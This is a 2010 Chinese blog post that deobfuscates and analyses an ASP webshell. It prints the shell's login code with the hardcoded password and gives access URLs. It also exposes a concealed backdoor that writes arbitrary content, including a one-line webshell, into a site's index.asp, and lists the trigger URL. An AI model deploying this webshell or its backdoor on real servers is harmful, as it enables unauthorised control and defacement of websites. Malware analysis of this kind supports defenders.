对来自t00ls的wsctece.asp的解密、使用及后门功能全分析

yyb1813 在刀城知道区发了一个求助帖子,http://forum.daokers.com/read.php?tid=1620

询问怎么使用这个从t00ls拿来的ASP WEBSHELL。

分析shell的前提,当然是这个shell必须是明文的,那么我们首先解密这个webshell

这个是一个非常典型的运用十三逆向加密的例子,并且有一个函数进行了变异,增加识别的难度。

首先把wsctece.asp拉入工具。
首先看第一个函数zznFun的解密。
程序代码 程序代码
Function zznFun(zznObjstr):zznObjstr = Replace(zznObjstr, "③", """"):For zznI = 1 To Len(zznObjstr):If Mid(zznObjstr, zznI, 1) <> "壹" Then:zznNewStr = Mid(zznObjstr, zznI, 1) & zznNewStr:Else:zznNewStr = vbCrLf & zznNewStr:End If:Next:zznFun = zznNewStr:End Function


十三逆向的函数
点击放大图片

可以看到这个函数的加密有2处。保存为shellcode.asp

再看另外一个函数UZSS,同样是十三逆向加密,将shellcode.asp拉入工具

点击放大图片

这个函数加密的地方较多,有23处。将结果保存为shellcode1.asp ,现在我们来看看Xo这个函数
程序代码 程序代码
Function Xo(e):e=R(e,"対",Chr(34)):For psI=1 To Len(e):If Mid(e,psI,1)<>"奌" Then:XoX=Mid(e,psI,1)&XoX:Else:XoX=vbCrlf&XoX:End If:Next:Xo=XoX:End Function

可以看到她还调用了函数R,搜索下这个函数,代码如下
程序代码 程序代码
Function R(a,b,c):R = Replace(a,b,c):End Function


就是一个替换语句,Chr(34)的字符是",那么把R的内容代入Xo,那么XO函数代码就为
程序代码 程序代码
Function Xo(e):e=Replace(e,"対",Chr(34))::For psI=1 To Len(e):If Mid(e,psI,1)<>"奌" Then:XoX=Mid(e,psI,1)&XoX:Else:XoX=vbCrlf&XoX:End If:Next:Xo=XoX:End Function


看到这就很明亮了,他也是十三的逆向函数。那么解密如下

点击放大图片


保存为shellcode2.asp,其实他这个函数加密的是一个非常重要的部分,稍后分析。

那么这个shell的解密基本上就完成了。

下面看看使用。

从上往下翻shellcode2.asp,搜索userpass或者session,查找一个shell的登陆地方最准确的方法就是查找session的位置。

搜索session后,我们会发现这样一段代码。
程序代码 程序代码
if session("webc0fig")<>UserPass then
if request("ps0")<>"" then
if request("ps0")=UserPass and StrReverse(Replace(Request.ServerVariables("SERVER_NAME"),".",""))=Request("c") then

a=trim(request("a"))
t=trim(request("t"))
p=WWWRoot&p

if a<>"" and t<>"" then
w(0)
Response.End()

function w(zo)
On Error Resume Next
if t = 1 then
b=s
c=a&s
if instr(M(p,z)(1),s)=0 Then V(M(p,z)(1)&a,p,z)(1)
else
b=a
c=""
end if

if V(R(M(p,z)(1),b,c),p,z)(1) then RRS ""
if Err.Number  = 0 Then
RRS "00"
else
RRS Err.Description
end if
Err.Clear)
end function
end if

session("webc0fig")=UserPass
session("idx")=2
Session("FolderPath")=""
response.redirect url
else
Response.End()
end if


上面的2个函数就是最后一个加密函数Xo加密的内容。

为了方便先将上面的2个函数去掉,整理一下代码。

程序代码 程序代码
If Session("webc0fig") <> UserPass Then
    If request("ps0") <> "" Then
        If request("ps0") = UserPass And StrReverse(Replace(request.ServerVariables("SERVER_NAME"), ".", "")) = request("c") Then

            a = Trim(request("a"))
            t = Trim(request("t"))
            p = WWWRoot & p
            If a <> "" And t <> "" Then
                w (0)
                Response.End()
            End If
            Session("webc0fig") = UserPass
            Session("idx") = 2
            Session("FolderPath") = ""
            Response.redirect url
        Else
            Response.End()
        End If


这部分代码就是shell的登陆处理代码,可以看到只有当request("ps0") = UserPass 并且StrReverse(Replace(request.ServerVariables("SERVER_NAME"), ".", "")) = request("c") 的时候才能正确登陆。
我们搜索userpass,可以在文件末尾搜索到
程序代码 程序代码
sub ps():z="GB2312":UserPass="0dlm1c1gi0hr":s="</body>":p="\index.asp":end sub

可以看到密码为0dlm1c1gi0hr,这个过程很重要,是后面分析的基础函数
StrReverse(Replace(request.ServerVariables("SERVER_NAME"), ".", "")) 是什么呢?就是将去掉域名的”.“,然后反转。

比如,www.daokers.com,那么就为mocsrekoadwww,既然这样了,那么这个shell的使用方法就是:
以本地运行为例:http://localhost/shellcode2.asp?ps0=0dlm1c1gi0hr&c=tsohlacol
这样就进入界面了

点击放大图片


具体怎么方便使用,请继续看下文。

一个登陆页面的成功了,给session赋值了,那么这个任务显然就完成了,但是在这里我们可以看到多了一个东西
程序代码 程序代码
            If a <> "" And t <> "" Then
                w (0)
                Response.End()
            End If


并且下面有1个相关函数W,在W函数中涉及到另外2个函数V和函数M,这2个函数位于文件开头,我们把他调用过来,同时把函数W的代码放到if判断语句外。
这样调整后代码就为
程序代码 程序代码
If Session("webc0fig") <> UserPass Then
    If Request("ps0") <> "" Then
        If Request("ps0") = UserPass And StrReverse(Replace(Request.ServerVariables("SERVER_NAME"), ".", "")) = Request("c") Then
            a = Trim(Request("a"))
            t = Trim(Request("t"))
            p=WWWRoot&p
            If a <> "" And t <> "" Then
                w (0)
                Response.End()
            End If
            Session("webc0fig") = UserPass
            Session("idx") = 2
            Session("FolderPath") = ""
            Response.redirect url
        Else
            Response.End()
        End If
Function R(a, b, c)
      R = Replace(a, b, c)
End Function
Function w(zo)
                    On Error Resume Next
                    If t = 1 Then
                        b = s
                        c = a & s
                        if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
                    Else
                        b = a
                        c = ""
                    End If
                    If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS ""
                    If Err.Number = 0 Then
                        RRS "00"
                    Else
                        RRS Err.Description
                    End If
                    Err.Clear
                End Function
Function V(strBody, File, u)
                    RText = Array(0, "")
                    Set objStream = Server.CreateObject("ADODB.Stream")
                    With objStream
                        .Type = 2
                        .Open
                        .Charset = u
                        .Position = objStream.Size
                        .WriteText = strBody
                        On Error Resume Next
                        .SaveToFile File, 2
                        If Err Then
                            RText = Array(Err.Number, Err.Description)
                            V = RText
                            Err.Clear
                            Exit Function
                        End If
                        .Close
                    End With
                    RText = Array(0, True)
                    V = RText
                    Set objStream = Nothing
                End Function
Function M(File, u)
                    RText = Array(0, "")
                    Set objStream = Server.CreateObject("ADODB.Stream")
                    With objStream
                        .Type = 2
                        .Mode = 3
                        .Open
                        .Charset = u
                        .Position = objStream.Size
                        On Error Resume Next
                        .LoadFromFile File
                        If Err Then
                            RText = Array(Err.Number, Err.Description)
                            M = RText
                            Err.Clear
                            Exit Function
                        End If
                        RText = Array(0, .ReadText)
                        .Close
                    End With
                    M = RText
                    Set objStream = Nothing
End Function


上面说过登陆时要反转域名,如果一个一个的来很是麻烦,那么我们可以在
程序代码 程序代码
        Else
            Response.End()
        End If

这个地方插入一句话
程序代码 程序代码
        Else
ssss=StrReverse(Replace(Request.ServerVariables("SERVER_NAME"),".",""))
response.write ssss
Response.End()
End If


下次访问时c值随便写
http://localhost/wsctece.asp?ps0=0dlm1c1gi0hr&c=asdf
那么必将输出ssss值,然后copy之,放入上面,就可免去反转域名的麻烦了。

言归正传,说函数W
上面有说,如果a和t不为空的话,将执函数W,那么这2个值是肯定要输入的。
看函数W,可知,如果T=1,那么将执行if instr(M(p,z)(1),s)=0 Then V(M(p,z)(1)&a,p,z)(1)

所以要看懂这个语句首先要弄清楚函数M和函数V是做什么的

首先看函数M
程序代码 程序代码
Function M(File, u)
            RText = Array(0, "")
            Set objStream = Server.CreateObject("ADODB.Stream")
            With objStream
                .Type = 2
                .Mode = 3
                .Open
                .Charset = u
                .Position = objStream.Size
                On Error Resume Next
                .LoadFromFile File
                If Err Then
                    RText = Array(Err.Number, Err.Description)
                    M = RText
                    Err.Clear
                    Exit Function
                End If
                RText = Array(0, .ReadText)
                .Close
            End With
            M = RText
            Set objStream = Nothing
        End Function

看到ADODB.Stream和LoadFromFile就应当明白这个函数是利用ADODB.Stream来读取文件。

那么看看函数V
程序代码 程序代码
Function V(strBody, File, u)
            RText = Array(0, "")
            Set objStream = Server.CreateObject("ADODB.Stream")
            With objStream
                .Type = 2
                .Open
                .Charset = u
                .Position = objStream.Size
                .WriteText = strBody
                On Error Resume Next
                .SaveToFile File, 2
                If Err Then
                    RText = Array(Err.Number, Err.Description)
                    V = RText
                    Err.Clear
                    Exit Function
                End If
                .Close
            End With
            RText = Array(0, True)
            V = RText
            Set objStream = Nothing
        End Function

很明显,这个函数是利用ADODB.Stream的SaveToFile来保存文件。.Position = objStream.Size这句确保是将数据追加在文件末尾而不是覆盖写入。

我们再看几个参数,
首先看参数p
p=WWWRoot & p
而上面的过程ps中已经提到过,p="\index.asp",那么在这里
p=WWWRoot & "\index.asp"
wwwroot是表示网站根目录的物理路径,假设这个shell的网站根目录为G:\web\,那么p=G:\web\index.asp

S值也已经在过程中提到s="</body>"

a值是request的,是需要我们输入的,我们先假设a=“test”

z值是一个编码,这里为z="GB2312"

好了,现在回头看函数W
程序代码 程序代码
Function w(zo)
                    On Error Resume Next
                    If t = 1 Then
                        b = s
                        c = a & s
                        if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
                    Else
                        b = a
                        c = ""
                    End If
                    If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS ""
                    If Err.Number = 0 Then
                        RRS "00"
                    Else
                        RRS Err.Description
                    End If
                    Err.Clear
End Function


t值是需要我们输入的,在这里其实是一个开关的作用。
现在我们看语句
如果T=1,那么
b=s,即b="</body>"
c = a & s,  即c="test</body>",也就是将a值放在</body>之前。
if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
上面分析了,M为读取文件函数,那么M(p,z)(1),的作用就是读取index.asp的内容,然后用instr函数查找"</body>",如果没有的话,就在文件末尾写入a值。

如果T不等于1,那么
b=a  ,即b=”test“
c = ""

现在看
If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS ""
这个语句很巧妙,由于函数r就是一个replace,所以V(R(M(p, z)(1), b, c), p, z)(1) 的作用就是在index.asp中将B替换成c。

如果t=1,那么就将"</body>"替换成"test</body>",相对于在index.asp中插入test,如果index.asp中没有"</body>"呢,上面说过的if instr(M(p,z)(1),s) = 0 Then V(M(p,z)(1) & a,p,z)(1)
就将完成这个将b写在末尾的任务。不管有没有"</body>",都将写入a值到文件。
如果T不等于1呢?那么If V(R(M(p, z)(1), b, c), p, z)(1) Then RRS ""将把a值替换掉。

他还有一个功能就是,由于保存函数是在最外层的,那么如果index.asp不存在的话,那么函数r无法读取文件,但是这个函数并没有为空,而是将出错信息作为函数r的结果,那么函数v再保存的话,就相对于新建了一个index.asp。

总之,不管有没有index.asp都将成功写入a值,不管有没有“</body>”也将成功写入a值,这个函数设计的是相对不错的。

好了,到现在,这个函数的功能基本就清楚了。
T是开关,如果T=1,那么将写入a值到index.asp
如果不等于1,那么将从index.asp中清除a值。

测试了一下,写个一句话进去也是可以的。

点击放大图片



后门利用语句:http://localhost/shellcode2.asp?ps0=0dlm1c1gi0hr&c=tsohlacol&t=1&a=test

至此,全文也分析完毕。

by  daokers

2010.4.10


欢迎在此留言,也欢迎加入刀城交流,此文刀城地址http://forum.daokers.com/read.php?tid=1641



严正声明:转载我的文章可以!但是请加上转载地址!!!








以下说明属本文之一部分:
转载请保持完整并注明:转自 金刀客[www.daokers.com]


[本日志由 admin 于 2010-04-12 08:37 AM 编辑]
相关日志:
在线RSS阅读器订阅:
feedsky
抓虾 pageflakes Rojo google reader
my yahoo newsgator bloglines 有道
鲜果 飞豆 哪吒 Netvibes
Netvibes Netvibes

手机订阅:


本站订阅地址:
RSS2:点击复制
Atom:点击复制
        本站所有原创文章均遵循 [创作共用协议]
        本站原创文章可以转载,但须保持完整性并注明出处。
        COPYRIGHT 2008-2010  §  HTTP://WWW.DAOKERS.COM  §    ALL RIGHTS
评论: 6 | 引用: 0 | 查看次数: -
回复回复浩浩[2010-08-17 09:15 AM | del]
刀哥  ,最近老有很多人加我,来向我索取屠龙刀..您能不能给个屠龙刀 下载呀 ....或者您有源码 给我一份嘛...或者 思路,函数之类的。。。刀哥  。。好不?
回复来自 admin 的评论 admin 于 2010-08-17 09:59 AM 回复
暂未发布
回复回复dongchi[2010-07-12 06:15 AM | del]
我郁闷啊 看的我头都大了。。。
回复来自 admin 的评论 admin 于 2010-07-12 04:39 PM 回复
^_^
回复回复熙雅[2010-05-13 02:30 PM | del]
支持刀哥    不发布....
回复来自 admin 的评论 admin 于 2010-05-13 04:48 PM 回复
^_^
回复回复soft[2010-04-17 05:02 PM | del]
能具体讲下加密过程不?
回复来自 admin 的评论 admin 于 2010-04-18 03:42 PM 回复
有了上面说的解密函数的反函数之后就可以加密了,很简单的,具体的哪天我看看是不是写一个吧
回复回复浩浩[2010-04-15 00:43 AM | del]
请问 ,屠龙刀 有得下载么?  如果话 给我邮一个啊 !

185656156@qq.com
谢了!
回复来自 admin 的评论 admin 于 2010-04-15 08:41 AM 回复
不发布
回复回复3hack[2010-04-12 01:08 PM | del]
你好用功,我看完了,写的很好啊,膜拜你
回复来自 admin 的评论 admin 于 2010-04-12 08:08 PM 回复
呵呵,还得向您多学习
发表评论
昵 称:
密 码: 游客发言不需要密码.
验证码: 验证码提示:单击自动获取验证码
内 容:
最多可输入,当前共,还可输入
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.